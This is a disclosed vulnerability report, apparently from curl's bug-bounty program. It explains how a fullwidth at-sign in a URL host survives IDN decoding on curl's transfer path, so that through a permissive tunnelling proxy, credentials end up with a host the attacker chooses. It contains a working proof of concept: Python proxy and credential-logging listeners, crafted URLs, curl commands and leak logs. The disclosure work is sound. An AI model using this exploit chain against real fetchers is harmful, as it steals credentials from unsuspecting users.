HexBrain

curl · Report #4147581

Incomplete IDN hostname check on the transfer path can lead to credential disclosure to an unintended host

Informativestatus
lowseverity
1upvotes
27 Oct 2026disclosed

How it was found

Summary

The fix that rejects URL-separator characters introduced by IDN decoding (hostname_check() after host_decode()) was applied only to the curl_url_get() getter path. The transfer path still IDN-decodes the URL host with libidn2 and stores the result without any hostname_check(). Because libidn2 maps U+FF20 (FULLWIDTH COMMERCIAL AT, UTF-8 EF BC A0) to ASCII @, a URL such as http://trusted.example<U+FF20>127.0.0.2:18502/echo becomes a host containing a userinfo delimiter after decoding. With --proxytunnel, curl then emits CONNECT [email protected]:18502 and delivers the credentials it scoped to the URL host to whichever host the proxy selects after the @.

Preconditions, labelled by frequency:

  • Default/common: Attacker-controlled URL input handed to curl or libcurl (link/feed fetchers, CI jobs, config-driven fetches). The crafted host is accepted at URL-set time because all bytes >= 0x80 pass the 128-entry ASCII-only invalid_host_char[] table.
  • Common but non-default: --proxytunnel / CURLOPT_HTTPPROXYTUNNEL is required. Without it the crafted host fails closed (exit 27 or exit 3).
  • Common but not universal: The proxy must split the CONNECT authority per RFC 3986 and discard userinfo. An unmodified tinyproxy 1.10.0 does this and leaks; Squid 6.13, pproxy and proxy.py reject or fail closed on the same line. This is the decisive environmental dependency.
  • Common: The victim supplies credentials for the fetched URL (-u, netrc) or secret-bearing -H headers/body. Without secrets the impact is only request/body misdirection.
  • Cleartext only: HTTPS is not exploitable. TLS hostname verification rejects the full decoded name (exit 60), so only http and ftp transfers are affected.

Additional impact under non-default conditions: the same decoded host reaches Curl_idnconvert_hostname() used by the SMTP path, and the request body and any secret headers are also delivered to the selected host. There is no memory corruption: the ASan+UBSan+LSan build is clean. A hostile proxy could already observe credentials in cleartext, but the defect here is that curl itself routes those credentials to a host different from the one the URL host string names. T

Description

The URL parser accepts a host containing U+FF20 because hostname_check() (lib/urlapi.c:520-536) only consults the ASCII invalid_host_char[] table initialised for bytes 0x00-0x7F (lib/urlapi.c:446-455); high bytes are treated as valid. The recently landed fix 7ff8feecb9 added a post-decode hostname_check() only in urlget_format() (lib/urlapi.c:1534-1540) and urlget_url() (lib/urlapi.c:1645-1648).

The transfer path remains unchecked:

  • lib/peer.c:183-219 peer_parse_host() calls Curl_idn_decode(pp->tmp_host_user, &pp->tmp_host) at line 215 and assigns pp->host.str = pp->tmp_host at line 218, with no hostname_check() on the decoded result. It is reached from lib/peer.c:402 via Curl_peer_from_url.
  • lib/idn.c:371-384 Curl_idnconvert_hostname() performs the same decode (Curl_idn_decode at line 380) and assignment at line 384; it is used by lib/smtp.c:295.
  • lib/http_proxy.c:213-217 http_proxy_create_CONNECT() builds authority = curl_maprintf("%s%s%s:%u", ... dest->hostname ...) from that decoded host, and line 238 sets the Host: header to the same string.

libidn2 2.3.2 maps the fullwidth at sign to an ASCII separator: idn2_lookup_u8("trusted.example\xEF\xBC\xA0127.0.0.2") returns rc 0 and "[email protected]". The invariant that the host curl authenticates to must equal the host actually contacted, and that the post-IDN-decode host must not contain URL separators, is therefore violated.

Attack chain:

  1. Attacker supplies a URL whose host contains U+FF20 (raw or %EF%BC%A0); the URL parser accepts it.
  2. With --proxytunnel, peer_parse_host() IDN-decodes the host with libidn2; U+FF20 becomes @, and the decoded string is stored as the peer hostname without validation.
  3. http_proxy_create_CONNECT() interpolates the decoded host into the CONNECT request-target and Host header, emitting CONNECT [email protected]:18502.
  4. A proxy that parses the authority per RFC 3986 splits at @, connects to the host after it, and relays the tunnel.
  5. That host receives the tunneled request including Host: [email protected]:18502 and Authorization: Basic <credentials from -u>, and for FTP the cleartext USER/PASS; curl exits successfully.
  6. The literal percent-encoded ASCII @ form (%40) is rejected (URL rejected: Bad hostname, exit 3), and the URL API rejects the same host with CURLUE_BAD_HOSTNAME (rc 21) on CURLU_PUNYCODE, confirming the check exists in the API path but not on the transfer path.

PoC Steps

The PoC uses the workspace curl build and loopback listeners. 127.0.0.2 stands in for an attacker-resolvable host; in a real attack the host after the @ is any attacker-controlled name. The URL is fed as raw UTF-8 bytes via printf to avoid shell/locale ambiguity.

Builds used: release /home/user/workspace/build-release/src/curl and ASan+UBSan+LSan /home/user/workspace/build-asan/src/curl.

/tmp/idn-poc/proxy.py (RFC 3986 CONNECT authority parser and relay)

import socket,threading,sys
L=('127.0.0.1',int(sys.argv[1])); LOG=sys.argv[2]
def log(m): open(LOG,'a').write(m+'\n'); print(m,flush=True)
def h(c):
    b=b''
    while b'\r\n\r\n' not in b:
        d=c.recv(4096)
        if not d: return
        b+=d
    line=b.split(b'\r\n',1)[0].decode(); log('REQ '+line)
    if not line.startswith('CONNECT'): c.sendall(b'HTTP/1.1 501 X\r\n\r\n'); return
    a=line.split()[1]; u=None
    if '@' in a: u,a=a.split('@',1)
    hst,p=a.rsplit(':',1); p=int(p); log('PARSED userinfo=%r host=%r port=%d'%(u,hst,p))
    up=socket.create_connection((hst,p),5); log('CONNECTED '+hst+':'+str(p))
    c.sendall(b'HTTP/1.1 200 Connection established\r\n\r\n')
    def r(x,y):
        try:
            while True:
                d=x.recv(65536)
                if not d: break
                y.sendall(d)
        except OSError: pass
        try: y.shutdown(socket.SHUT_WR)
        except OSError: pass
    threading.Thread(target=r,args=(up,c),daemon=True).start(); r(c,up)
s=socket.socket(); s.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1); s.bind(L); s.listen(8); log('LISTEN')
while True: c,_=s.accept(); threading.Thread(target=h,args=(c,),daemon=True).start()

/tmp/idn-poc/origin.py (HTTP origin on 127.0.0.2, logs raw request)

import socket,threading,sys
L=('127.0.0.2',int(sys.argv[1])); LOG=sys.argv[2]
def h(c):
    b=b''
    while b'\r\n\r\n' not in b:
        d=c.recv(4096)
        if not d: return
        b+=d
    open(LOG,'a').write(repr(b)+'\n'); print(repr(b),flush=True)
    c.sendall(b'HTTP/1.1 200 OK\r\nContent-Length: 10\r\nConnection: close\r\n\r\nORIGIN-OK\n')
s=socket.socket(); s.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1); s.bind(L); s.listen(8)
while True: c,_=s.accept(); threading.Thread(target=h,args=(c,),daemon=True).start()

/tmp/idn-poc/ftpsrv.py (FTP listener on 127.0.0.2, logs USER/PASS)

import socket,threading,sys
L=('127.0.0.2',int(sys.argv[1])); LOG=sys.argv[2]
def h(c):
    c.sendall(b'220 ready\r\n'); f=c.makefile('rb')
    for line in f:
        cmd=line.decode('latin-1').rstrip(); open(LOG,'a').write(repr(cmd)+'\n'); print(repr(cmd),flush=True)
        u=cmd.upper()
        if u.startswith('USER'): c.sendall(b'331 pass\r\n')
        elif u.startswith('PASS'): c.sendall(b'230 ok\r\n')
        elif u.startswith('PWD'): c.sendall(b'257 "/"\r\n')
        else: c.sendall(b'500 no\r\n'); break
s=socket.socket(); s.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1); s.bind(L); s.listen(8)
while True: c,_=s.accept(); threading.Thread(target=h,args=(c,),daemon=True).start()

/tmp/idn-poc/urlapi_test.c (URL-API control)

#include <stdio.h>
#include <curl/curl.h>

int main(void)
{
    CURLU *u = curl_url();
    char *out = NULL;
    CURLUcode rc;

    rc = curl_url_set(u, CURLUPART_URL,
        "https://trusted.example\xEF\xBC\xA0127.0.0.2/", 0);
    printf("set rc=%d\n", (int)rc);

    rc = curl_url_get(u, CURLUPART_HOST, &out, CURLU_PUNYCODE);
    printf("get HOST punycode rc=%d out=%s\n", (int)rc, out ? out : "(null)");
    curl_free(out); out = NULL;

    rc = curl_url_get(u, CURLUPART_URL, &out, CURLU_PUNYCODE);
    printf("get URL punycode rc=%d out=%s\n", (int)rc, out ? out : "(null)");
    curl_free(out);

    curl_url_cleanup(u);
    return 0;
}

Commands

mkdir -p /tmp/idn-poc && cd /tmp/idn-poc   # create proxy.py, origin.py, ftpsrv.py, urlapi_test.c from above
python3 proxy.py 18501 proxy.log & python3 origin.py 18502 origin.log & python3 ftpsrv.py 18503 ftp.log &

# HTTP through the tunnel
URL=$(printf 'http://trusted.example\xef\xbc\xa0127.0.0.2:18502/echo')
LC_ALL=C.utf8 /home/user/workspace/build-release/src/curl -sv --max-time 8 \
  --proxytunnel -x http://127.0.0.1:18501 --basic -u alice:secretpw "$URL"

# Same under ASan+UBSan+LSan
ASAN_OPTIONS=detect_leaks=0:abort_on_error=1 UBSAN_OPTIONS=halt_on_error=1 LC_ALL=C.utf8 \
  /home/user/workspace/build-asan/src/curl -sv --max-time 8 \
  --proxytunnel -x http://127.0.0.1:18501 --basic -u alice:secretpw "$URL"

# Percent-encoded form of the same host
LC_ALL=C.utf8 /home/user/workspace/build-release/src/curl -sv --max-time 8 \
  --proxytunnel -x http://127.0.0.1:18501 --basic -u alice:secretpw \
  'http://trusted.example%EF%BC%A0127.0.0.2:18502/echo'

# FTP variant
URL=$(printf 'ftp://trusted.example\xef\xbc\xa0127.0.0.2:18503/file')
LC_ALL=C.utf8 /home/user/workspace/build-release/src/curl -sv --max-time 8 \
  --proxytunnel -x http://127.0.0.1:18501 --user alice:secretpw "$URL"

# Control: literal percent-encoded @ must be rejected
LC_ALL=C.utf8 /home/user/workspace/build-release/src/curl -sv --proxytunnel \
  -x http://127.0.0.1:18501 'http://trusted.example%40127.0.0.2:18502/echo'

# URL API control
cc -o urlapi_test urlapi_test.c $(curl-config --cflags --libs) 2>/dev/null || \
  cc -o urlapi_test urlapi_test.c -I/home/user/workspace/curl/include \
     -L/home/user/workspace/build-release/lib/.libs -lcurl
./urlapi_test

To reproduce with a real, unmodified forward proxy instead of the Python harness, build tinyproxy 1.10.0 from its official source tarball and run it on 127.0.0.1:3131, then use -x http://127.0.0.1:3131 in place of -x http://127.0.0.1:18501 in the HTTP and FTP commands above. The same crafted URLs were driven through that proxy as well.

PoC Results

HTTP transfer through the tunnel (release build) exited 0 and printed the response body ORIGIN-OK, with verbose output:

> CONNECT [email protected]:18502 HTTP/1.1
> Host: [email protected]:18502
< HTTP/1.1 200 Connection established
> GET /echo HTTP/1.1
> Authorization: Basic YWxpY2U6c2VjcmV0cHc=

The Python proxy log shows the authority split and the redirect of the connection:

REQ CONNECT [email protected]:18502 HTTP/1.1
PARSED userinfo='trusted.example' host='127.0.0.2' port=18502
CONNECTED 127.0.0.2:18502

The origin listener at 127.0.0.2:18502 recorded the credential-bearing request:

b'GET /echo HTTP/1.1\r\nHost: [email protected]:18502\r\nAuthorization: Basic YWxpY2U6c2VjcmV0cHc=\r\n...'

YWxpY2U6c2VjcmV0cHc= is base64 of alice:secretpw: the credentials curl scoped to the URL host were delivered to the host selected by the proxy. The same request run under the ASan+UBSan+LSan build produced ORIGIN-OK, exit 0, no sanitizer report, and the origin still received the Authorization header.

The percent-encoded form (http://trusted.example%EF%BC%A0127.0.0.2:18502/echo) produced the same CONNECT line and the same credential delivery (exit=0 http=200, origin received Authorization: Basic YWxpY2U6c2VjcmV0cHc=).

Through an unmodified tinyproxy 1.10.0 (official source release) the transfer also succeeded and the proxy log confirmed it connected to the host after the @:

CONNECT: Established connection to host "127.0.0.2" using file descriptor 10.

The FTP variant through the tunnel emitted CONNECT [email protected]:18503, and the FTP listener logged USER alice and PASS secretpw in cleartext. The same FTP transfer through tinyproxy likewise logged USER alice and PASS secretpw.

Controls:

  • Literal percent-encoded @ (http://trusted.example%40127.0.0.2:18502/echo) was rejected before any request: URL rejected: Bad hostname, exit 3.
  • ASCII host http://127.0.0.2:18502/echo produced CONNECT 127.0.0.2:18502 with host equal to the URL host and no userinfo (expected, no ambiguity).
  • Non-tunnel plain-HTTP proxy of the crafted host failed closed, exit 27, no request bytes sent.
  • HTTPS with a trusted local CA (SAN DNS:trusted.example,IP:127.0.0.2) still sent CONNECT [email protected]:18504, then failed TLS verification with exit 60 and "no alternative certificate subject name matches target hostname 'trusted.example@127.0.0.2'"; the same certificate verified OK for https://127.0.0.2:18504/. TLS is a backstop.
  • URL API: curl_url_set() on the raw U+FF20 URL returned 0, but curl_url_get(HOST, CURLU_PUNYCODE) and curl_url_get(URL, CURLU_PUNYCODE) both returned 21 (CURLUE_BAD_HOSTNAME), confirming the fix is effective only in the getter path.

Independent primitive confirmation: idn2_lookup_u8("trusted.example\xef\xbc\xa0127.0.0.2") returned rc 0 and "[email protected]" (libidn2 2.3.2).

Consequence: curl reports success while the credentials it bound to the URL host are delivered to the host after the @, as routed by the proxy. Against strict proxies (Squid 6.13, pproxy, proxy.py) the same CONNECT line is rejected or aborted and no leak occurs.

Impact

Impact

On a standard deployment using a permissive forward proxy (for example, an unmodified tinyproxy 1.10.0), an attacker who controls a URL fetched with --proxytunnel can cause the victim's Authorization header — or cleartext FTP USER/PASS — to be delivered to an attacker-named host while curl reports success. This is a credential/secret disclosure and an authority-confusion/allowlist-bypass condition: the raw host string still begins with the trusted name, so naive prefix checks pass, but the contacted host is the one after the @.

This report was disclosed publicly on HackerOne and belongs to its author and the program. See the original